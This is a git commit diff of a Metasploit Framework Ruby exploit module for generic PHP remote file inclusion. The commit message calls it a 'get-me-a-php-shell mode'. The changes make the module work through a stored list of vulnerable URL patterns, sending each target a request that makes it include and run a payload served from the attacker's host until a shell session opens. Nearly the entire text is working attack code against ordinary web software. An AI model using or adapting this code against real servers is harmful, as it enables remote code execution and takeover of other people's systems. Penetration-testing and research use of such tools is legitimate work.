Uber-fast-get-me-a-php-shell mode :)
git-svn-id: file:///home/svn/framework3/trunk@8505 4d416f70-5f16-0410-b530-b9f4589650daunstable
HD Moore
parent
85c59038ed
commit
1857268af8
|
|
@ -3,7 +3,7 @@
|
|||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
|
|
@ -14,17 +14,21 @@ require 'msf/core'
|
|||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer::PHPInclude
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'PHP Include Generic Exploit',
|
||||
super(update_info(info,
|
||||
'Name' => 'PHP Remote File Include Generic Exploit',
|
||||
'Description' => %q{
|
||||
Exploits things like <?php include($_GET['path']); ?>
|
||||
This module can be used to exploit any generic PHP file include vulnerability,
|
||||
where the application includes code like the following:
|
||||
|
||||
<?php include($_GET['path']); ?>
|
||||
|
||||
},
|
||||
'Author' => [ 'hdm' , 'egypt' ],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
@ -37,50 +41,93 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => 'find',
|
||||
},
|
||||
'Space' => 32768,
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 30,
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/test.php?path=!URL!"]),
|
||||
OptString.new('PHPURI', [false, "The URI to request, with the include parameter changed to XXpathXX"]),
|
||||
OptPath.new('PHPRFIDB', [false, "A local file containing a list of URLs to try, with XXpathXX replacing the URL",
|
||||
File.join(Msf::Config.install_root, "data", "exploits", "php", "rfi-locations.dat")
|
||||
])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def check
|
||||
uri = datastore['PHPURI'].gsub(/\?.*/, "")
|
||||
print_status("Checking uri #{uri}")
|
||||
response = send_request_raw({ 'uri' => uri})
|
||||
if response.code == 200
|
||||
return Exploit::CheckCode::Detected
|
||||
uri = datastore['PHPURI'].dup
|
||||
if(uri and ! uri.empty?)
|
||||
uri.gsub!(/\?.*/, "")
|
||||
print_status("Checking uri #{uri}")
|
||||
response = send_request_raw({ 'uri' => uri})
|
||||
if response.code == 200
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
print_error("Server responded with #{response.code}")
|
||||
return Exploit::CheckCode::Safe
|
||||
else
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
print_error("Server responded with #{response.code}")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def php_exploit
|
||||
# very short timeout because the request may never return if we're
|
||||
# sending a socket payload
|
||||
timeout = 0.01
|
||||
uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
|
||||
print_status("Trying uri #{uri}")
|
||||
# The option {'global' => true} is required to make findsock payloads work
|
||||
response = send_request_raw( {
|
||||
'global' => true,
|
||||
'uri' => uri,
|
||||
},timeout)
|
||||
if response and response.code != 200
|
||||
print_error("Server returned non-200 status code (#{response.code})")
|
||||
|
||||
uris = []
|
||||
|
||||
# PHPURI overrides the PHPRFIDB list
|
||||
if (datastore['PHPURI'] and not datastore['PHPURI'].empty?)
|
||||
uris << datastore['PHPURI'].strip.gsub('XXpathXX', Rex::Text.to_hex(php_include_url, "%"))
|
||||
else
|
||||
print_status("Loading RFI URLs from the database...")
|
||||
::File.open(datastore['PHPRFIDB'], "rb") do |fd|
|
||||
fd.read(fd.stat.size).split(/\n/).each do |line|
|
||||
line.strip!
|
||||
next if line.empty?
|
||||
next if line =~ /^#/
|
||||
next if line !~ /^\//
|
||||
|
||||
uris << line.gsub('XXpathXX',
|
||||
Rex::Text.to_hex(php_include_url.sub(/\?$/, '') + '?', "%") # ? append is required
|
||||
)
|
||||
end
|
||||
end
|
||||
uris.uniq!
|
||||
print_status("Loaded #{uris.length} URLs")
|
||||
end
|
||||
|
||||
handler
|
||||
end
|
||||
# Very short timeout because the request may never return if we're
|
||||
# sending a socket payload
|
||||
timeout = 0.01
|
||||
|
||||
# We can't make this parallel without breaking PHP findsock
|
||||
# Findsock payloads cause this loop to run slowly
|
||||
uris.each do |uri|
|
||||
break if session_created?
|
||||
|
||||
print_status("Sending #{uri}")
|
||||
begin
|
||||
response = send_request_raw( {
|
||||
'global' => true,
|
||||
'uri' => uri,
|
||||
}, timeout)
|
||||
|
||||
handler
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
|||
Loading…
Reference in New Issue